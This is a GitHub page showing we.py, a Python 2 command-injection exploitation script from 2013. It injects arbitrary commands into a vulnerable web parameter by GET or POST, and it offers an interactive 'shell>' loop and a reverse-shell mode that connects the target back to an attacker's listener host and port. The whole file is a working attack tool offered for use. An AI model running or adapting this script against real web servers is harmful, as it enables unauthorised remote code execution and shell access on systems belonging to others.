-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathwe.py
executable file
·79 lines (69 loc) · 2.48 KB
/
we.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python
# Command Injection Exploitation Utility
# Exploits POST and GET command injections
# version: 0.1
# Mad props to @LaNMaSteR53 for rce.py which this is based on
# @info_dox | insecurety.net
import sys
import urllib
import re
import urlparse
import requests
import argparse
import payloads
from payloads.all import *
def banner():
print " Command Injection Exploitation Utility"
print "For exploitation of command execution vulnerabilities"
print " Insecurety Research - 2013 - insecurety.net"
def inject(base_url, payload, method):
url = base_url.replace('<rce>', payload)
if method == "post":
(ignore, ignore, ignore, params, ignore) = urlparse.urlsplit(url)
site = url[:url.find(params)-1]
result = requests.post(site, params)
else:
result = requests.get(url)
try:
result = re.sub("<\/*\w+?>", '', result.text)
except Exception:
pass
print '[*] Executed: %s\n%s' % (payload, result)
def inlineshell(base_url, method):
while True:
cmd = raw_input("shell> ")
if cmd.lower() == 'exit':
sys.exit(2)
else:
payload = cmd
inject(base_url, payload, method)
def revshell(base_url, method, lhost, lport):
payload = payloads.python.reverse(lhost, lport)
print "[+] Doing a reverse shell!"
print "[*] LHOST: %s" %(lhost)
print "[*] LPORT: %s" %(lport)
print "[!] Hope your listener is listening"
inject(base_url, payload, method)
help = banner()
parser = argparse.ArgumentParser(description=help)
parser.add_argument("--url", help="url, like http://localhost/vulnpage?vuln=<rce>&safe=whatever, if POST, format it like a GET and use --method=post so parser can deal with it", required=True)
parser.add_argument("--method", help="post or get", default="get")
parser.add_argument("--shell", help="inline shell (inline) or reverse shell (reverse)", default="inline")
parser.add_argument("--lhost", help="Listener host IP for reverse shell", default="127.0.0.1")
parser.add_argument("--lport", help="Listener port for the reverse shell", default="4444")
args = parser.parse_args()
base_url = args.url
method = args.method
shell = args.shell
lhost = args.lhost
lport = args.lport
def main():
if shell == "inline":
inlineshell(base_url, method)
elif shell == "reverse":
revshell(base_url, method, lhost, lport)
else:
print "[-] YOU FAIL IT!"
print "YOUR ARGUMENTS WERE INVALID!"
sys.exit(0)
main()